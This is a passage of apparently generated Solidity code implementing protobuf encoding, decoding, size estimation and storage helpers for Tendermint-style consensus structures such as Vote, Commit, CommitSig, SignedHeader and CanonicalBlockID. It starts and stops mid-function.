3, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_int64(r.round, pointer, bs); } pointer += ProtoBufRuntime._encode_key( 4, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += BlockID._encode_nested(r.block_id, pointer, bs); pointer += ProtoBufRuntime._encode_key( 5, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += Timestamp._encode_nested(r.timestamp, pointer, bs); if (r.validator_address.length != 0) { pointer += ProtoBufRuntime._encode_key( 6, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.validator_address, pointer, bs); } if (r.validator_index != 0) { pointer += ProtoBufRuntime._encode_key( 7, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_int64(r.validator_index, pointer, bs); } if (r.signature.length != 0) { pointer += ProtoBufRuntime._encode_key( 8, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.signature, pointer, bs); } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_enum(TYPES_PROTO_GLOBAL_ENUMS.encode_SignedMsgType(r.typ)); e += 1 + ProtoBufRuntime._sz_int64(r.height); e += 1 + ProtoBufRuntime._sz_int64(r.round); e += 1 + ProtoBufRuntime._sz_lendelim(BlockID._estimate(r.block_id)); e += 1 + ProtoBufRuntime._sz_lendelim(Timestamp._estimate(r.timestamp)); e += 1 + ProtoBufRuntime._sz_lendelim(r.validator_address.length); e += 1 + ProtoBufRuntime._sz_int64(r.validator_index); e += 1 + ProtoBufRuntime._sz_lendelim(r.signature.length); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (uint(r.typ) != 0) { return false; } if (r.height != 0) { return false; } if (r.round != 0) { return false; } if (r.validator_address.length != 0) { return false; } if (r.validator_index != 0) { return false; } if (r.signature.length != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.typ = input.typ; output.height = input.height; output.round = input.round; BlockID.store(input.block_id, output.block_id); Timestamp.store(input.timestamp, output.timestamp); output.validator_address = input.validator_address; output.validator_index = input.validator_index; output.signature = input.signature; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library Vote library Commit { //struct definition struct Data { int64 height; int64 round; BlockID.Data block_id; CommitSig.Data[] signatures; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[5] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_height(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_round(pointer, bs, r, counters); } else if (fieldId == 3) { pointer += _read_block_id(pointer, bs, r, counters); } else if (fieldId == 4) { pointer += _read_signatures(pointer, bs, nil(), counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } pointer = offset; r.signatures = new CommitSig.Data[](counters[4]); while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_height(pointer, bs, nil(), counters); } else if (fieldId == 2) { pointer += _read_round(pointer, bs, nil(), counters); } else if (fieldId == 3) { pointer += _read_block_id(pointer, bs, nil(), counters); } else if (fieldId == 4) { pointer += _read_signatures(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_height( uint256 p, bytes memory bs, Data memory r, uint[5] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.height = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_round( uint256 p, bytes memory bs, Data memory r, uint[5] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.round = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_block_id( uint256 p, bytes memory bs, Data memory r, uint[5] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (BlockID.Data memory x, uint256 sz) = _decode_BlockID(p, bs); if (isNil(r)) { counters[3] += 1; } else { r.block_id = x; if (counters[3] > 0) counters[3] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_signatures( uint256 p, bytes memory bs, Data memory r, uint[5] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (CommitSig.Data memory x, uint256 sz) = _decode_CommitSig(p, bs); if (isNil(r)) { counters[4] += 1; } else { r.signatures[r.signatures.length - counters[4]] = x; if (counters[4] > 0) counters[4] -= 1; } return sz; } // struct decoder /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_BlockID(uint256 p, bytes memory bs) internal pure returns (BlockID.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (BlockID.Data memory r, ) = BlockID._decode(pointer, bs, sz); return (r, sz + bytesRead); } /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_CommitSig(uint256 p, bytes memory bs) internal pure returns (CommitSig.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (CommitSig.Data memory r, ) = CommitSig._decode(pointer, bs, sz); return (r, sz + bytesRead); } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; uint256 i; if (r.height != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_int64(r.height, pointer, bs); } if (r.round != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_int64(r.round, pointer, bs); } pointer += ProtoBufRuntime._encode_key( 3, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += BlockID._encode_nested(r.block_id, pointer, bs); if (r.signatures.length != 0) { for(i = 0; i < r.signatures.length; i++) { pointer += ProtoBufRuntime._encode_key( 4, ProtoBufRuntime.WireType.LengthDelim, pointer, bs) ; pointer += CommitSig._encode_nested(r.signatures[i], pointer, bs); } } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e;uint256 i; e += 1 + ProtoBufRuntime._sz_int64(r.height); e += 1 + ProtoBufRuntime._sz_int64(r.round); e += 1 + ProtoBufRuntime._sz_lendelim(BlockID._estimate(r.block_id)); for(i = 0; i < r.signatures.length; i++) { e += 1 + ProtoBufRuntime._sz_lendelim(CommitSig._estimate(r.signatures[i])); } return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (r.height != 0) { return false; } if (r.round != 0) { return false; } if (r.signatures.length != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.height = input.height; output.round = input.round; BlockID.store(input.block_id, output.block_id); for(uint256 i4 = 0; i4 < input.signatures.length; i4++) { output.signatures.push(input.signatures[i4]); } } //array helpers for Signatures /** * @dev Add value to an array * @param self The in-memory struct * @param value The value to add */ function addSignatures(Data memory self, CommitSig.Data memory value) internal pure { /** * First resize the array. Then add the new element to the end. */ CommitSig.Data[] memory tmp = new CommitSig.Data[](self.signatures.length + 1); for (uint256 i = 0; i < self.signatures.length; i++) { tmp[i] = self.signatures[i]; } tmp[self.signatures.length] = value; self.signatures = tmp; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library Commit library CommitSig { //struct definition struct Data { TYPES_PROTO_GLOBAL_ENUMS.BlockIDFlag block_id_flag; bytes validator_address; Timestamp.Data timestamp; bytes signature; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[5] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_block_id_flag(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_validator_address(pointer, bs, r, counters); } else if (fieldId == 3) { pointer += _read_timestamp(pointer, bs, r, counters); } else if (fieldId == 4) { pointer += _read_signature(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_block_id_flag( uint256 p, bytes memory bs, Data memory r, uint[5] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs); TYPES_PROTO_GLOBAL_ENUMS.BlockIDFlag x = TYPES_PROTO_GLOBAL_ENUMS.decode_BlockIDFlag(tmp); if (isNil(r)) { counters[1] += 1; } else { r.block_id_flag = x; if(counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_validator_address( uint256 p, bytes memory bs, Data memory r, uint[5] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.validator_address = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_timestamp( uint256 p, bytes memory bs, Data memory r, uint[5] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (Timestamp.Data memory x, uint256 sz) = _decode_Timestamp(p, bs); if (isNil(r)) { counters[3] += 1; } else { r.timestamp = x; if (counters[3] > 0) counters[3] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_signature( uint256 p, bytes memory bs, Data memory r, uint[5] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[4] += 1; } else { r.signature = x; if (counters[4] > 0) counters[4] -= 1; } return sz; } // struct decoder /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_Timestamp(uint256 p, bytes memory bs) internal pure returns (Timestamp.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (Timestamp.Data memory r, ) = Timestamp._decode(pointer, bs, sz); return (r, sz + bytesRead); } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; if (uint(r.block_id_flag) != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.Varint, pointer, bs ); int32 _enum_block_id_flag = TYPES_PROTO_GLOBAL_ENUMS.encode_BlockIDFlag(r.block_id_flag); pointer += ProtoBufRuntime._encode_enum(_enum_block_id_flag, pointer, bs); } if (r.validator_address.length != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.validator_address, pointer, bs); } pointer += ProtoBufRuntime._encode_key( 3, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += Timestamp._encode_nested(r.timestamp, pointer, bs); if (r.signature.length != 0) { pointer += ProtoBufRuntime._encode_key( 4, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.signature, pointer, bs); } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_enum(TYPES_PROTO_GLOBAL_ENUMS.encode_BlockIDFlag(r.block_id_flag)); e += 1 + ProtoBufRuntime._sz_lendelim(r.validator_address.length); e += 1 + ProtoBufRuntime._sz_lendelim(Timestamp._estimate(r.timestamp)); e += 1 + ProtoBufRuntime._sz_lendelim(r.signature.length); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (uint(r.block_id_flag) != 0) { return false; } if (r.validator_address.length != 0) { return false; } if (r.signature.length != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.block_id_flag = input.block_id_flag; output.validator_address = input.validator_address; Timestamp.store(input.timestamp, output.timestamp); output.signature = input.signature; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library CommitSig library SignedHeader { //struct definition struct Data { TmHeader.Data header; Commit.Data commit; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[3] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_header(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_commit(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_header( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (TmHeader.Data memory x, uint256 sz) = _decode_TmHeader(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.header = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_commit( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (Commit.Data memory x, uint256 sz) = _decode_Commit(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.commit = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } // struct decoder /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_TmHeader(uint256 p, bytes memory bs) internal pure returns (TmHeader.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (TmHeader.Data memory r, ) = TmHeader._decode(pointer, bs, sz); return (r, sz + bytesRead); } /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_Commit(uint256 p, bytes memory bs) internal pure returns (Commit.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (Commit.Data memory r, ) = Commit._decode(pointer, bs, sz); return (r, sz + bytesRead); } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += TmHeader._encode_nested(r.header, pointer, bs); pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += Commit._encode_nested(r.commit, pointer, bs); return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_lendelim(TmHeader._estimate(r.header)); e += 1 + ProtoBufRuntime._sz_lendelim(Commit._estimate(r.commit)); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { TmHeader.store(input.header, output.header); Commit.store(input.commit, output.commit); } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library SignedHeader library CanonicalBlockID { //struct definition struct Data { bytes hash; CanonicalPartSetHeader.Data part_set_header; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[3] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_hash(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_part_set_header(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_hash( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.hash = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_part_set_header( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (CanonicalPartSetHeader.Data memory x, uint256 